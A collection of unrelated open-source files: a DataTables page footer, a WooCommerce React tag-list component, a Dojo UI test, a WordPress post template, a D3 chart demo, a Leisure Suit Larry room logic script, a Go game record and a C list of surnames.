<li><a href="../plug-ins/sorting_sType.html">Sorting without automatic type detection</a></li>
<li><a href="../plug-ins/paging_plugin.html">Custom pagination controls</a></li>
<li><a href="../plug-ins/range_filtering.html">Range filtering / custom filtering</a></li>
<li><a href="../plug-ins/dom_sort.html">Live DOM sorting</a></li>
<li><a href="../plug-ins/html_sort.html">Automatic HTML type detection</a></li>
</ul>
</div>
<div id="footer" class="clear" style="text-align:center;">
<p>
Please refer to the <a href="http://www.datatables.net/usage">DataTables documentation</a> for full information about its API properties and methods.<br>
Additionally, there are a wide range of <a href="http://www.datatables.net/extras">extras</a> and <a href="http://www.datatables.net/plug-ins">plug-ins</a> which extend the capabilities of DataTables.
</p>
<span style="font-size:10px;">
DataTables designed and created by <a href="http://www.sprymedia.co.uk">Allan Jardine</a> © 2007-2011<br>
DataTables is dual licensed under the <a href="http://www.datatables.net/license_gpl2">GPL v2 license</a> or a <a href="http://www.datatables.net/license_bsd">BSD (3-point) license</a>.
</span>
</div>
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
/**
* External dependencies
*/
import { __, sprintf } from '@wordpress/i18n';
import { Button, Icon } from '@wordpress/components';
import { Component, Fragment } from '@wordpress/element';
import { findIndex } from 'lodash';
import PropTypes from 'prop-types';
/**
* Internal dependencies
*/
import Tag from '../tag';
/**
* A list of tags to display selected items.
*/
class Tags extends Component {
constructor( props ) {
super( props );
this.removeAll = this.removeAll.bind( this );
this.removeResult = this.removeResult.bind( this );
}
removeAll() {
const { onChange } = this.props;
onChange( [] );
}
removeResult( key ) {
return () => {
const { selected, onChange } = this.props;
const i = findIndex( selected, { key } );
onChange( [
...selected.slice( 0, i ),
...selected.slice( i + 1 ),
] );
};
}
render() {
const { selected, showClearButton } = this.props;
if ( ! selected.length ) {
return null;
}
return (
<Fragment>
<div className="woocommerce-select-control__tags">
{ selected.map( ( item, i ) => {
if ( ! item.label ) {
return null;
}
const screenReaderLabel = sprintf(
__( '%1$s (%2$s of %3$s)', 'woocommerce-admin' ),
item.label,
i + 1,
selected.length
);
return (
<Tag
key={ item.key }
id={ item.key }
label={ item.label }
remove={ this.removeResult }
screenReaderLabel={ screenReaderLabel }
/>
);
} ) }
</div>
{ showClearButton && (
<Button
className="woocommerce-select-control__clear"
isLink
onClick={ this.removeAll }
>
<Icon icon="dismiss" />
<span className="screen-reader-text">
{ __( 'Clear all', 'woocommerce-admin' ) }
</span>
</Button>
) }
</Fragment>
);
}
}
Tags.propTypes = {
/**
* Function called when selected results change, passed result list.
*/
onChange: PropTypes.func,
/**
* Function to execute when an option is selected.
*/
onSelect: PropTypes.func,
/**
* An array of objects describing selected values. If the label of the selected
* value is omitted, the Tag of that value will not be rendered inside the
* search box.
*/
selected: PropTypes.arrayOf(
PropTypes.shape( {
key: PropTypes.oneOfType( [ PropTypes.number, PropTypes.string ] )
.isRequired,
label: PropTypes.string,
} )
),
/**
* Render a 'Clear' button next to the input box to remove its contents.
*/
showClearButton: PropTypes.bool,
};
export default Tags;
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>runner.robot Tooltip Mouse Quirks Test</title>
<style>
@import "../../../../util/doh/robot/robot.css";
</style>
<!-- required: dojo.js -->
<script type="text/javascript" src="../../../../dojo/dojo.js" data-dojo-config="isDebug: true"></script>
<script language="JavaScript" type="text/javascript">
require([
"dojo/_base/kernel",
"dojo/ready", // dojo.ready
"doh/runner", //doh functions
"dijit/registry", // dijit.registry.byId
"dijit/robotx"
], function(kernel, ready, runner, registry){
ready(function(){
runner.robot.initRobot("../test_transition-connect.html");
var reg=null;
runner.register("dojox.mobile.Animation mouse tests", [
{
name: "Animation mouse tests",
timeout: 50000,
runTest: function(){
var d = new runner.Deferred();
reg = kernel.global.dijit.registry;
runner.robot.mouseMoveAt(reg.byId("dojox_mobile_ListItem_0").domNode, 1000);
runner.robot.mouseClick({left: true}, 500);
runner.robot.sequence(d.getTestCallback(function(){
runner.assertEqual("none", reg.byId("view1").domNode.style.display);
runner.assertEqual("", reg.byId("view2").domNode.style.display);
}), 1500);
return d;
}
},
{
name: "Animation mouse tests",
timeout: 50000,
runTest: function(){
var d = new runner.Deferred();
runner.robot.mouseMoveAt(reg.byId("dojox_mobile_ToolBarButton_0").domNode, 1000);
runner.robot.mouseClick({left: true}, 500);
runner.robot.sequence(d.getTestCallback(function(){
runner.assertEqual("", reg.byId("view1").domNode.style.display);
runner.assertEqual("none", reg.byId("view2").domNode.style.display);
}), 1500);
return d;
}
},
{
name: "Animation mouse tests",
timeout: 50000,
runTest: function(){
var d = new runner.Deferred();
runner.robot.mouseMoveAt(reg.byId("dojox_mobile_ListItem_1").domNode, 1000);
runner.robot.mouseClick({left: true}, 500);
runner.robot.sequence(d.getTestCallback(function(){
runner.assertEqual("none", reg.byId("view1").domNode.style.display);
runner.assertEqual("", reg.byId("view2").domNode.style.display);
}), 1500);
return d;
}
},
{
name: "Animation mouse tests",
timeout: 50000,
runTest: function(){
var d = new runner.Deferred();
runner.robot.mouseMoveAt(reg.byId("dojox_mobile_ToolBarButton_0").domNode, 1000);
runner.robot.mouseClick({left: true}, 500);
runner.robot.sequence(d.getTestCallback(function(){
runner.assertEqual("", reg.byId("view1").domNode.style.display);
runner.assertEqual("none", reg.byId("view2").domNode.style.display);
}), 1500);
return d;
}
},
{
name: "Animation mouse tests",
timeout: 50000,
runTest: function(){
var d = new runner.Deferred();
runner.robot.mouseMoveAt(reg.byId("dojox_mobile_ListItem_2").domNode, 1000);
runner.robot.mouseClick({left: true}, 500);
runner.robot.sequence(d.getTestCallback(function(){
runner.assertEqual("none", reg.byId("view1").domNode.style.display);
runner.assertEqual("", reg.byId("view2").domNode.style.display);
}), 2000);
return d;
}
}
]);
runner.run();
});
});
</script>
</head>
<body />
</html>
|
{
"pile_set_name": "Github"
}
|
<div class="post-wrap" >
<div class="m-post">
<?php
$format = get_post_format();
if( false === $format ) { $format = 'standard'; }
?>
<a class="typeicon <?php echo $format; ?>" href="<?php the_permalink(); ?>"></a>
<div class="content">
<h2 class="title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'presence' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
<div class="text">
<?php
$video = get_post_meta( $post->ID, "presence_code", true );
if ( !empty( $video ) ){
echo '<div class="video">'.html_entity_decode( $video ).'</div>';
}
?>
<?php
$presence_values = get_option('presence_framework_values');
if ( !is_array( $presence_values ) ) $presence_values = array();
if ( array_key_exists( 'general_summary' , $presence_values ) && $presence_values['general_summary'] == 'on' ) {
$img = get_post_thumb( 'false' );
if ( !empty( $img ) ) {
echo '<p style="text-align:center;"><a href="'.$img.'" class="phzoom" title="';
echo the_title();
echo '"><img src="'.$img.'" alt="';
echo the_title();
echo '" /></a></p>';
}
if ( array_key_exists( 'text_length', $presence_values ) && !empty( $presence_values['text_length'] ) ){
$strlen = intval( $presence_values['text_length'] );
} else {
$strlen = 350;
}
echo '<p>'.mb_strimwidth( strip_tags(apply_filters('the_content', $post->post_content)), 0, $strlen, " [...]").'</p>';
} else {
the_content();
}
?>
</div>
<?php edit_post_link( __( 'Edit', 'presence' ), '<span class="edit-link">', '</span>' ); ?>
</div>
</div>
<div class="m-infoarea clearfix">
<a class="time" href="<?php the_permalink(); ?>"><?php echo get_the_date(); ?></a>
<?php if(function_exists('the_views')) { ?>
<a href="<?php the_permalink(); ?>" class="like"><?php echo the_views('Views', true);?></a>
<?php } ?>
<?php comments_popup_link( '0', '1', '%', 'comment' ); ?>
<span class="sep">/</span>
<div class="from"><span class="reblog"><?php the_category(' '); ?></span></div>
<span class="sep">/</span>
<div class="tagarea clearfix">
<span class="taglb"><?php _e( 'Tag: ', 'presence' ); ?></span>
<?php
$taglist = get_the_tag_list( '', '' );
if ( $taglist ) {
echo $taglist;
} else {
echo __( 'No Tags', 'presence' );
}
?>
</div>
</div>
</div>
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>D3: Transitioning points to randomized values</title>
<script type="text/javascript" src="../d3.js"></script>
<style type="text/css">
/* No style rules here yet */
</style>
</head>
<body>
<p>Click on this text to update the chart with new data values as many times as you like!</p>
<script type="text/javascript">
//Width and height
var w = 500;
var h = 300;
var padding = 30;
//Dynamic, random dataset
var dataset = []; //Initialize empty array
var numDataPoints = 50; //Number of dummy data points to create
var maxRange = Math.random() * 1000; //Max range of new values
for (var i = 0; i < numDataPoints; i++) { //Loop numDataPoints times
var newNumber1 = Math.floor(Math.random() * maxRange); //New random integer
var newNumber2 = Math.floor(Math.random() * maxRange); //New random integer
dataset.push([newNumber1, newNumber2]); //Add new number to array
}
//Create scale functions
var xScale = d3.scaleLinear()
.domain([0, d3.max(dataset, function(d) { return d[0]; })])
.range([padding, w - padding * 2]);
var yScale = d3.scaleLinear()
.domain([0, d3.max(dataset, function(d) { return d[1]; })])
.range([h - padding, padding]);
//Define X axis
var xAxis = d3.axisBottom()
.scale(xScale)
.ticks(5);
//Define Y axis
var yAxis = d3.axisLeft()
.scale(yScale)
.ticks(5);
//Create SVG element
var svg = d3.select("body")
.append("svg")
.attr("width", w)
.attr("height", h);
//Create circles
svg.selectAll("circle")
.data(dataset)
.enter()
.append("circle")
.attr("cx", function(d) {
return xScale(d[0]);
})
.attr("cy", function(d) {
return yScale(d[1]);
})
.attr("r", 2);
//Create X axis
svg.append("g")
.attr("class", "axis")
.attr("transform", "translate(0," + (h - padding) + ")")
.call(xAxis);
//Create Y axis
svg.append("g")
.attr("class", "axis")
.attr("transform", "translate(" + padding + ",0)")
.call(yAxis);
//On click, update with new data
d3.select("p")
.on("click", function() {
//New values for dataset
var numValues = dataset.length; //Count original length of dataset
var maxRange = Math.random() * 1000; //Max range of new values
dataset = []; //Initialize empty array
for (var i = 0; i < numValues; i++) { //Loop numValues times
var newNumber1 = Math.floor(Math.random() * maxRange); //New random integer
var newNumber2 = Math.floor(Math.random() * maxRange); //New random integer
dataset.push([newNumber1, newNumber2]); //Add new number to array
}
//Update scale domains
xScale.domain([0, d3.max(dataset, function(d) { return d[0]; })]);
yScale.domain([0, d3.max(dataset, function(d) { return d[1]; })]);
//Update all circles
svg.selectAll("circle")
.data(dataset)
.transition()
.duration(1000)
.attr("cx", function(d) {
return xScale(d[0]);
})
.attr("cy", function(d) {
return yScale(d[1]);
});
});
</script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
[logics for room 36 -- rmLounge
[ "Leisure Suit Larry in the Land of the Lounge Lizards"
[ by Al Lowe
%include "rm36.msg"
%include "gamedefs.h"
%include "iv_views.h"
%define GIRL_Y 93
%define JOKE_MAX 37 [ number of gags in repetoire
%define ZINGER_MIN 21 [ number of first zinger message
%define ZINGER_MAX 26 [ number of last zinger message
%define mcOnStage lf0
%define girlsOnStage lf1
%define girlsAtRight lf2
%define girlsAtLeft lf3
%define nearChair lf4
%define egoSitDone lf5
%define egoStandDone lf6
%define drummerDone lf7
%define outOfJokes lf8
%define cushionDone lf9
%define doMagicTrick lf10
%define heardJoke1 lf11
%define heardJoke2 lf12
%define heardJoke3 lf13
%define heardJoke4 lf14
%define heardJoke5 lf15
%define heardJoke6 lf16
%define heardJoke7 lf17
%define heardJoke8 lf18
%define heardJoke9 lf19
%define heardJoke10 lf20
%define heardJoke11 lf21
%define heardJoke12 lf22
%define heardJoke13 lf23
%define heardJoke14 lf24
%define heardJoke15 lf25
%define heardJoke16 lf26
%define heardJoke17 lf27
%define heardJoke18 lf28
%define heardJoke19 lf29
%define heardJoke20 df0
%define heardJoke21 df1
%define heardJoke22 df2
%define heardJoke23 df3
%define heardJoke24 df4
%define heardJoke25 df5
%define heardJoke26 df6
%define heardJoke27 df7
%define heardJoke28 df8
%define heardJoke29 df9
%define heardJoke30 df10
%define heardJoke31 df11
%define heardJoke32 df12
%define heardJoke33 df13
%define heardJoke34 df14
%define heardJoke35 df15
%define heardJoke36 df16
%define heardJoke37 df17
%define heardJoke38 df18
%define heardJoke39 df19
[ %define heardJoke40 df20
[ %define heardJoke41 df21
[ %define heardJoke42 df22
[ %define heardJoke43 df23
[ %define heardJoke44 df24
[ %define heardJoke45 df25
%define joke lv0
%define zinger lv1
%define trickTimer lv2
%object aMC 1
%object aGirls 2
%object aCandle1 3
%object aCandle2 4
%object aCandle3 5
%object aCandle4 6
%object aCandle5 7
%object aDrummer 8
if (initLog)
{
LoadPic( currentRoom);
DrawPic( currentRoom);
DiscardPic( currentRoom);
LoadView( vLoungeCandles);
LoadView( vEgoSittingLounge);
LoadSound( sWhoopieCushion);
AnimateObj( aCandle1);
IgnoreObjs( aCandle1);
SetView( aCandle1, vLoungeCandles);
SetCel( aCandle1, 0);
SetPriority( aCandle1, 11);
Position( aCandle1, 41, 110);
Draw( aCandle1);
AnimateObj( aCandle2);
IgnoreObjs( aCandle2);
SetView( aCandle2, vLoungeCandles);
SetCel( aCandle2, 1);
SetPriority( aCandle2, 11);
Position( aCandle2, 78, 110);
Draw( aCandle2);
AnimateObj( aCandle3);
IgnoreObjs( aCandle3);
SetView( aCandle3, vLoungeCandles);
SetCel( aCandle3, 2);
SetPriority( aCandle3, 11);
Position( aCandle3, 115, 110);
Draw( aCandle3);
AnimateObj( aCandle4);
IgnoreObjs( aCandle4);
SetView( aCandle4, vLoungeCandles);
SetCel( aCandle4, 0);
SetPriority( aCandle4, 14);
Position( aCandle4, 58, 140);
Draw( aCandle4);
AnimateObj( aCandle5);
IgnoreObjs( aCandle5);
SetView( aCandle5, vLoungeCandles);
SetCel( aCandle5, 1);
SetPriority( aCandle5, 14);
Position( aCandle5, 98, 140);
Draw( aCandle5);
Random( 1, 2, work);
if (work == 1)
{
Random( 1, 3, work);
if (work == 1)
{
Set( doMagicTrick);
Random( 20, 40, trickTimer);
}
Set( mcOnStage);
LoadView( vLoungeComedian);
LoadView( vDrummer);
LoadSound( sDrummer);
AnimateObj( aMC);
SetView( aMC, vLoungeComedian);
SetCel( aMC, 0);
Position( aMC, 77, 93);
Draw( aMC);
StopUpdate( aMC);
scriptCycles = 51;
AnimateObj( aDrummer);
SetView( aDrummer, vDrummer);
SetCel( aDrummer, 0);
Position( aDrummer, 41, 92);
Draw( aDrummer);
StopUpdate( aDrummer);
}
else
{
Set( girlsOnStage);
LoadView( vLoungeDancers);
LoadSound( mCanCan);
AnimateObj( aGirls);
SetView( aGirls, vLoungeDancers);
Position( aGirls, 70, 93);
Draw( aGirls);
Set( girlsAtRight);
Set( musicDone);
}
egoX = 25;
egoY = 167;
SetLoop( ego, FACING_BACK);
PositionV( ego, egoX, egoY);
Draw( ego);
StartMotion( ego);
ShowPic( );
Return( );
} [ end initLOG
Reset( nearChair);
if (Posn( ego, 100, 145, 114, 163))
{
Set( nearChair);
}
if (mcOnStage &&
secondsInRoom > 15)
{
Set( nearPerson);
}
[*****
:handleInput
[*****
if (!haveInput) {goto noInput;}
if ((Said( look) ||
Said( look, room)))
{
Print( 1);
Print( 2);
}
if (mcOnStage &&
(Said( heckle, comic) ||
Said( talk, comic) ||
Said( yell, comic)))
{
Print( 13);
Print( 14);
}
if (Said( applaud, rol))
{
if (mcOnStage)
{
Print( 111);
}
else
{
Print( 112);
}
}
if ((Said( name, room) ||
Said( name, place)))
{
Print( 15);
Print( 2);
}
if ((Said( look, top, table) ||
Said( look, table) ||
Said( look, chair)))
{
Print( 6);
}
if (Said( look, ashtray))
{
Print( 77);
}
if (Said( look, candle))
{
Print( 7);
Print( 8);
}
if (Said( look, stage))
{
if (mcOnStage)
{
Print( 9);
}
else
{
Print( 10);
}
}
if (Said( look, man))
{
if (mcOnStage)
{
Print( 9);
}
else
{
Print( 11);
}
}
if ((Said( look, girl) ||
Said( look, dancers) ||
Said( look, show, girls)))
{
if (mcOnStage)
{
Print( 12);
}
else
{
Print( 10);
}
}
if (mcOnStage &&
Said( anyword, drummer, rol))
{
Print( 18);
}
if ((Said( wave, girls, rol) ||
Said( wave, comic, rol) ||
Said( whistle, girls, rol)||
Said( whistle, comic, rol)))
{
if (mcOnStage)
{
Print( 19);
Print( 20);
}
else
{
Print( 78);
Print( 79);
}
}
if ((Said( buy, drink) ||
Said( call, waiter) ||
Said( order, rol) ||
Said( get, drink)))
{
if (currentStatus != SITTING)
{
Print( 16);
}
else
{
Print( 17);
}
}
if ((Said( sit) ||
Said( sit, table) ||
Said( sit, chair) ||
Said( sit, down)))
{
if (currentStatus == SITTING)
{
Print( 3);
}
else
{
if (!nearChair)
{
Print( 5);
}
else
{
currentStatus = SITTING;
StopMotion( ego);
Set( programControl);
SetView( ego, vEgoSittingLounge);
SetCel( ego, 0);
SetPriority( ego, 15);
RepositionTo( ego, 107, 152);
StopSound();
Sound( sWhoopieCushion, musicDone);
EndOfLoop( ego, cushionDone);
Set( keepCycling);
}
}
}
if ((Said( stand) ||
Said( leave, table) ||
Said( rise) ||
Said( stand, up)))
{
if (currentStatus != SITTING)
{
Print( 4);
}
else
{
Set( OK);
Reset( keepCycling);
SetView( ego, vEgo);
ReleasePriority( ego);
RepositionTo( ego, 107, 151);
Reset( programControl);
StartMotion( ego);
currentStatus = NORMAL;
}
}
if ((Said( climb, stage) ||
Said( climb, on, stage) ||
Said( jump, on, stage) ||
Said( sit, on, stage) ||
Said( sing, rol) ||
Said( dance, rol) ||
Said( go, stage)))
{
Print( 80);
}
if (Said( throw, rose, rol))
{
Print( 81);
Drop( iRose);
}
if (Said( get, rose))
{
Print( 100);
}
[*****
:noInput
[*****
if (cushionDone)
{
Reset( cushionDone);
Print( 75);
StopCycling( ego);
Reset( keepCycling);
if (!satOnWhoopieCushion)
{
Set( satOnWhoopieCushion);
currentScore += 1;
}
}
if (girlsAtRight)
{
Reset( girlsAtRight);
MoveObj( aGirls, 47, GIRL_Y, 1, girlsAtLeft);
}
if (girlsAtLeft)
{
Reset( girlsAtLeft);
MoveObj( aGirls, 93, GIRL_Y, 1, girlsAtRight);
}
if (scriptDone)
{
Reset( scriptDone);
++script;
if (script == 1)
{
Random( 12, 22, scriptCycles);
if (typing)
{
--script; [ Try again in a little while.
}
else
{
StartUpdate( aMC);
}
}
if (script == 2)
{
Random( 8, 14, scriptCycles);
if (typing)
{
--script; [ Try again in a little while.
}
else
{
SetCel( aMC, 0);
StopUpdate( aMC);
ForceUpdate( aMC);
if ((!heardJoke1 ||
!heardJoke2 ||
!heardJoke3 ||
!heardJoke4 ||
!heardJoke5 ||
!heardJoke6 ||
!heardJoke7 ||
!heardJoke8 ||
!heardJoke9 ||
!heardJoke10 ||
!heardJoke11 ||
!heardJoke12 ||
!heardJoke13 ||
!heardJoke14 ||
!heardJoke15 ||
!heardJoke16 ||
!heardJoke17 ||
!heardJoke18 ||
!heardJoke19 ||
!heardJoke20 ||
!heardJoke21 ||
!heardJoke22 ||
!heardJoke23 ||
!heardJoke24 ||
!heardJoke25 ||
!heardJoke26 ||
!heardJoke27 ||
!heardJoke28 ||
!heardJoke29 ||
!heardJoke30 ||
!heardJoke31 ||
!heardJoke32 ||
!heardJoke33 ||
!heardJoke34 ||
!heardJoke35 ||
!heardJoke36 ||
!heardJoke37)) [ ||
[ !heardJoke38 ||
[ !heardJoke39)) ||
[ !heardJoke40 ||
[ !heardJoke41 ||
[ !heardJoke42 ||
[ !heardJoke43 ||
[ !heardJoke44 ||
[ !heardJoke45))
{
:pickAJoke;
Random( 1, JOKE_MAX, joke);
work = joke;
work += 210; [ Because flags are 211-255.
if (IssetV( work)) [ Be sure it's a new one.
{
goto pickAJoke;
}
SetV( work);
if (joke == 1)
{
Print( 27);
Print( 28);
}
if (joke == 2)
{
Print( 29);
Print( 30);
}
if (joke == 3)
{
Print( 31);
Print( 32);
}
if (joke == 4)
{
Print( 33);
Print( 34);
}
if (joke == 5)
{
Print( 35);
Print( 36);
}
if (joke == 6)
{
Print( 37);
Print( 38);
}
if (joke == 7)
{
Print( 39);
Print( 40);
}
if (joke == 8)
{
Print( 41);
Print( 42);
}
if (joke == 9)
{
Print( 43);
}
if (joke == 10)
{
Print( 44);
Print( 45);
}
if (joke == 11)
{
Print( 46);
}
if (joke == 12)
{
Print( 47);
}
if (joke == 13)
{
[ Print( 48);
Print( 109);
Print( 110);
}
if (joke == 14)
{
Print( 49);
Print( 50);
}
if (joke == 15)
{
Print( 51);
}
if (joke == 16)
{
Print( 52);
}
if (joke == 17)
{
Print( 53);
Print( 54);
Print( 55);
Print( 56);
Print( 57);
}
if (joke == 18)
{
Print( 58);
Print( 59);
}
if (joke == 19)
{
Print( 60);
Print( 61);
}
if (joke == 20)
{
Print( 62);
Print( 76);
}
if (joke == 21)
{
Print( 63);
Print( 64);
}
if (joke == 22)
{
Print( 65);
}
if (joke == 23)
{
Print( 66);
Print( 67);
}
if (joke == 24)
{
Print( 68);
Print( 69);
}
if (joke == 25)
{
Print( 70);
}
if (joke == 26)
{
Print( 71);
}
if (joke == 27)
{
Print( 72);
Print( 73);
}
if (joke == 28)
{
Print( 74);
Print( 93);
}
if (joke == 29)
{
Print( 94);
Print( 95);
}
if (joke == 30)
{
Print( 96);
Print( 97);
}
if (joke == 31)
{
Print( 98);
Print( 99);
}
if (joke == 32)
{
Print( 96);
Print( 97);
}
if (joke == 33)
{
Print( 98);
Print( 99);
}
if (joke == 34)
{
Print( 101);
Print( 102);
}
if (joke == 35)
{
Print( 103);
Print( 104);
}
if (joke == 36)
{
Print( 105);
Print( 106);
}
if (joke == 37)
{
Print( 107);
Print( 108);
}
[ if (joke == 38)
[ {
[ }
[ if (joke == 39)
[ {
[ Print( );
[ Print( );
[ }
[
[ if (joke == 40)
[ {
[ Print( );
[ Print( );
[ }
[
}
else
{
Set( outOfJokes);
Print( 113);
SetCel( aMC, 0);
StopUpdate( aMC);
ForceUpdate( aMC);
script = 0;
scriptTimer = 0;
scriptCycles = 0;
}
}
}
if (script == 3)
{
StartUpdate( aDrummer);
Sound( sDrummer, done);
EndOfLoop( aDrummer, scriptDone);
}
if (script == 4)
{
SetCel( aDrummer, 0);
StopUpdate( aDrummer);
ForceUpdate( aDrummer);
StartUpdate( aMC);
Random( 11, 22, scriptCycles);
}
if (script == 5)
{
Random( 4, 7, scriptTimer); [ Time before next joke.
if (typing)
{
--script; [ Try again in a little while.
}
else
{
script = 0;
SetCel( aMC, 0);
StopUpdate( aMC);
ForceUpdate( aMC);
if (!outOfJokes)
{
Random( ZINGER_MIN, ZINGER_MAX, zinger);
PrintV( zinger);
}
}
}
}
if (musicDone && girlsOnStage)
{
Sound( mCanCan, musicDone);
}
if (aSecondPassed && trickTimer)
{
--trickTimer;
if (trickTimer == 1)
{
if (script)
{
trickTimer = 2;
}
else
{
message = 82;
:mrLooper;
PrintV( message);
++message;
if (!message > 92)
{
goto mrLooper;
}
ShowObj( ivWallet);
}
}
}
[*****
:exit [ test for leaving the room
[*****
if (edgeEgoHit == BOTTOM) {newRoom = rmElevatorBottom;}
|
{
"pile_set_name": "Github"
}
|
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4]
SZ[19]
GN[]
DT[2017-07-03]
PB[骊龙]BR[9段]
PW[NIPOHC]WR[9段]
KM[0]HA[0]RU[Japanese]RE[W+R]TM[60]TC[3]TT[60]
;B[pd];W[dd];B[qp];W[dq];B[oq];W[qf];B[nc];W[qo];B[po];W[qn];B[pn]
;W[ql];B[qm];W[rm];B[pm];W[pi];B[co];W[iq];B[ep];W[eq];B[fp];W[fq]
;B[gp];W[hq];B[gq];W[gr];B[fr];W[hr];B[cq];W[dp];B[do];W[cp];B[bp]
;W[cr];B[bq];W[er];B[cj];W[fc];B[pl];W[qk];B[rl];W[rn];B[rk];W[qj]
;B[rp];W[rj];B[qe];W[qc];B[pf];W[ob];B[nb];W[oc];B[od];W[rd];B[re]
;W[rb];B[oa];W[pb];B[cf];W[dk];B[dj];W[ek];B[ej];W[en];B[eo];W[bn]
;B[bo];W[fk];B[bl];W[ic];B[jc];W[jd];B[kd];W[kc];B[jb];W[ke];B[ld]
;W[id];B[cd];W[cc];B[bc];W[ce];B[bd];W[df];B[dc];W[ec];B[be];W[de]
;B[fj];W[hk];B[gk];W[gl];B[gj];W[hl];B[lq];W[db];B[cg];W[kb];B[lb]
;W[ib];B[dm];W[em];B[lc];W[ja];B[ro];W[sk];B[sn];W[sl];B[qd];W[sd]
;B[sb];W[pa];B[ra];W[rc];B[pc];W[na];B[ma];W[rf];B[se];W[qa];B[oa]
;W[sa];B[pg];W[qh];B[ra];W[na];B[qg];W[rg];B[oa];W[sa];B[rh];W[ri]
;B[ra];W[na];B[ph];W[sh];B[lg];W[lp];B[oa];W[sa];B[kq];W[mp];B[mq]
;W[np];B[nq];W[oh];B[ng];W[nh];B[ln];W[kp];B[ra];W[na];B[mh];W[op]
;B[pp];W[io];B[oa];W[sa];B[mj];W[nj];B[jf];W[je];B[nk];W[bb];B[br]
;W[jr];B[ra];W[na];B[if];W[ms];B[oa];W[sa];B[ns];W[dg];B[ra];W[na]
;B[ds];W[es];B[oa];W[sa];B[oj];W[ni];B[mi];W[oi];B[jm];W[dn];B[cn]
;W[cm];B[cl];W[dl];B[hn];W[hj];B[ho];W[jo];B[hi];W[im];B[in];W[ii]
;B[jk];W[hh];B[gi];W[jl];B[kk];W[kl];B[jn];W[jj];B[ih];W[jh];B[ig]
;W[kj];B[lk];W[kh];B[ra];W[na];B[jq];W[jp];B[oa];W[sa];B[kr];W[ks]
;B[ra];W[na];B[ls];W[lr];B[oa];W[sa];B[cb];W[ca];B[ra];W[na];B[hp]
;W[ip];B[oa];W[sa];B[bm];W[gm];B[ra];W[na];B[is];W[js];B[oa];W[sa]
;B[fn];W[fm];B[ra];W[na];B[dh];W[eh];B[oa];W[sa];B[ik];W[ij];B[ra]
;W[na];B[il];W[ch];B[bh];W[gf];B[oa];W[sa];B[kg];W[ok];B[ra];W[na]
;B[he];W[di];B[ci];W[bs];B[ge];W[ls];B[mr];W[ir];B[oa];W[sa];B[gc]
;W[gb];B[ra];W[na];B[hc];W[og];B[of];W[nf];B[ne];W[mg];B[mf];W[ng]
;B[oa];W[sa];B[hb];W[ha];B[ra];W[na];B[fb];W[ga];B[oa];W[sa];B[fa]
;W[ia];B[ra];W[na];B[pk];W[pj];B[oa];W[sa];B[cs];W[dr];B[ff];W[gh]
;B[ra];W[na];B[lf];W[os];B[nl];W[nr];B[or];W[ns])
|
{
"pile_set_name": "Github"
}
|
const char *nicklist[] = {
"Abdulrazak",
"Ackerman",
"Adams",
"Addison",
"Adelstein",
"Adibe",
"Adorno",
"Ahlers",
"Alavi",
"Alcorn",
"Alda",
"Aleks",
"Allison",
"Alongi",
"Altavilla",
"Altenberger",
"Altenhofen",
"Amaral",
"Amatangelo",
"Ameer",
"Amsden",
"Anand",
"Andel",
"Ando",
"Andrelus",
"Andron",
"Anfinrud",
"Ansley",
"Anthony",
"Antos",
"Arbia",
"Arduini",
"Arellano",
"Aristotle",
"Arjas",
"Arky",
"Atkins",
"Augustus",
"Aurelius",
"Axelrod",
"Axworthy",
"Ayiemba",
"Aykroyd",
"Ayling",
"Azima",
"Bachmuth",
"Backus",
"Bady",
"Baglivo",
"Bagnold",
"Bailar",
"Bakanowsky",
"Baleja",
"Ballatori",
"Ballew",
"Baltz",
"Banta",
"Barabesi",
"Barajas",
"Baranczak",
"Baranowska",
"Barberi",
"Barbetti",
"Barneson",
"Barnett",
"Barriola",
"Barry",
"Bartholomew",
"Bartolome",
"Bartoo",
"Basavappa",
"Bashevis",
"Batchelder",
"Baumiller",
"Bayles",
"Bayo",
"Beacon",
"Beal",
"Bean",
"Beckman",
"Beder",
"Bedford",
"Behenna",
"Belanger",
"Belaoussof",
"Belfer",
"Belin-Collart",
"Bellavance",
"Bellhouse",
"Bellini",
"Belloc",
"Benedict-Dye",
"Bergson",
"Berke-Jenkins",
"Bernardo",
"Bernassola",
"Bernston",
"Berrizbeitia",
"Betti",
"Beynart",
"Biagioli",
"Bickel",
"Binion",
"Bir",
"Bisema",
"Bisho",
"Blackbourn",
"Blackwell",
"Blagg",
"Blakemore",
"Blanke",
"Bliss",
"Blizard",
"Bloch",
"Bloembergen",
"Bloemhof",
"Bloxham",
"Blyth",
"Bolger",
"Bolick",
"Bollinger",
"Bologna",
"Boner",
"Bonham",
"Boniface",
"Bontempo",
"Book",
"Bookbinder",
"Boone",
"Boorstin",
"Borack",
"Borden",
"Bossi",
"Bothman",
"Botosh",
"Boudin",
"Boudrot",
"Bourneuf",
"Bowers",
"Boxer",
"Boyajian",
"Boyes",
"Boyland",
"Boym",
"Boyne",
"Bracalente",
"Bradac",
"Bradach",
"Brecht",
"Breed",
"Brenan",
"Brennan",
"Brewer",
"Brewer",
"Bridgeman",
"Bridges",
"Brinton",
"Britz",
"Broca",
"Brook",
"Brzycki",
"Buchan",
"Budding",
"Bullard",
"Bunton",
"Burden",
"Burdzy",
"Burke",
"Burridge",
"Busetta",
"Byatt",
"Byerly",
"Byrd",
"Cage",
"Calnan",
"Cammelli",
"Cammilleri",
"Canley",
"Capanni",
"Caperton",
"Capocaccia",
"Capodilupo",
"Cappuccio",
"Capursi",
"Caratozzolo",
"Carayannopoulos",
"Carlin",
"Carlos",
"Carlyle",
"Carmichael",
"Caroti",
"Carper",
"Cartmill",
"Cascio",
"Case",
"Caspar",
"Castelda",
"Cavanagh",
"Cavell",
"Ceniceros",
"Cerioli",
"Chapman",
"Charles",
"Cheang",
"Cherry",
"Chervinsky",
"Chiassino",
"Chien",
"Childress",
"Childs",
"Chinipardaz",
"Chinman",
"Christenson",
"Christian",
"Christiano",
"Christie",
"Christopher",
"Chu",
